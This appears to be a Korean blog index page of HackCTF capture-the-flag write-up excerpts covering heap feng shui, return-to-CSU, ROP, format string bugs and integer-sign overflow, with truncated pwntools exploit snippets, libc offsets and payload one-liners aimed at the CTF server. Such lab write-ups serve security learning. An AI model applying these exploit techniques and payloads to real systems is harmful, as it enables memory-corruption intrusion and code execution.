풍수지리설

HackCTF 2022. 1. 13. 14:49

요약 - Heap의 레이아웃을 변경하여 공격하는 문제 - Heap Feng Shui를 이용 - 2개의 해답이 나올 수 있음(one_gadget을 이용하거나 system을 이용하는 방법) 공격방법 - Lazenca에서 나온 문제와 거의 동일함 - Lazenca 문제를 응용하면 됨 Exploit Code 1. one_gadget을 이용하는 방법 from pwn import * context.log_level='debug' p = remote('ctf.j0n9hyun.xyz', 3028) e = ELF('./fengshui') libc = ELF('./libc.so.6') one = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69] # libc.so.6 def add_location(desc_..

HackCTF - RTC

HackCTF 2022. 1. 6. 02:06

요약 Return To CSU를 이용하는 방법 보호기법 Canary : ✘ NX : ✓ PIE : ✘ Fortify : ✘ RelRO : Partial 분석 { undefined local_48 [64]; setvbuf(stdin,(char *)0x0,2,0); write(1,"Hey, ROP! What\'s Up?\n",0x15); read(0,local_48,0x200); return; } 1. local_48의 크기는 64byte 2. read 함수를 이용하여 0x200만큼 입력받음( 이부분에서 BOF 취약점이 일어나고, ROP 사용 가능) gef➤ x/20gx $rsp 0x7fffffffdfa0:0x41414141414141410x4242424242424242 0x7fffffffdfb0:0x000..

Article Thumbnail
ROP

HackCTF 2021. 12. 30. 01:13

https://libc.blukat.me/ ← 이쪽 사이트에서 프로그램이 사용하는 실제 라이브러리가 어떤것인지 알수 있다. _IO_fgets b90 __libc_system 4e0 을 하면 libc6_2.27-3ubuntu1.2_amd64이 라이브러리가 나오고 현재 Unexploitable1은 이 라이브러리를 사용한다는 것을 알 수 있다. 취약점은 배열의 크기는 char 16byte 이지만 fgets를 통해 0x64byte를 입력받으니 bufferoverflow가 발생함을 알 수 있다(64bit) 또한 Partial RELRO때문에 GOT Overwrite이 가능하다. Persudocode ROP 로직 Write함수를 사용, read의 got를 출력 read함수 호출, bss영역에 binsh 저장(bss..

You_are_silver

HackCTF 2021. 12. 30. 01:12

FSB 문제 offset = 6 (python -c 'print "AAAAAAAA"+"%06$lx"') (python -c 'print "AAAAAAAA"+"%11$lx"') https://holinder4s.tistory.com/29 fsb팁 %lx = 12자리 출력 포맷스트링버그는 개발자의 실수로 printf(buf) 이렇게 사용했을 때 입력값을 포맷스트링으로 넣으면 입력값을 문자로 취급하는게 아닌, 서식문자로 취급하여 취약점이 일어날 수 있습니다 출처: https://shayete.tistory.com/entry/5-Format-String-Attack-FSB [샤의 공간] %n 을 사용하여, 특정 메모리 주소에 값을 쓸 수가 있다. 32비트와 다르게 64비트는 스택이 아니라 레지스터 주소부터 le..

Article Thumbnail
yes_or_no

HackCTF 2021. 12. 30. 01:09

from pwn import * context.log_level = 'debug' p = remote("ctf.j0n9hyun.xyz" ,3009) e = ELF('./yes_or_no') libc = ELF('libc-2.27.so') pr = 0x400883 #오프셋은 libc database search 이용 puts_plt = e.plt['puts'] puts_got = e.got['puts'] system_offset = 0x04f440 binsh_offset = 0x1b3e9a puts_offset = 0x0809c0 ret = 0x400611 p.recvuntil("number~!") p.sendline("9830400") p.recvuntil("me") payload = "A"*26 pay..

Pwning

HackCTF 2021. 12. 30. 01:09

get_n 함수 작동 원리 인자를 2개를 받는다. get_n(int paran_1, unsingned int param_2) 문자를 하나 입력받고, char형 변환을 하여 cVar1에 저장. (cVar1 == '\0' || cVar == '\n' || paran_2 ≤= 0)이면 break; vuln함수 작동 원리 char local_30, int local_10 값을 입력받고, 그 값을 local_30에 저장 → local_30의 값을 문자열로 변환 → local_10에 저장. local_10 < 0x21이면 get_n 호출(local_30, local_10) 이때 여기서 get_n의 2번째 인자는 unsigned이지만, local_10은 int이다. 이때 음수를 넣어주면 overflow발생. unsi..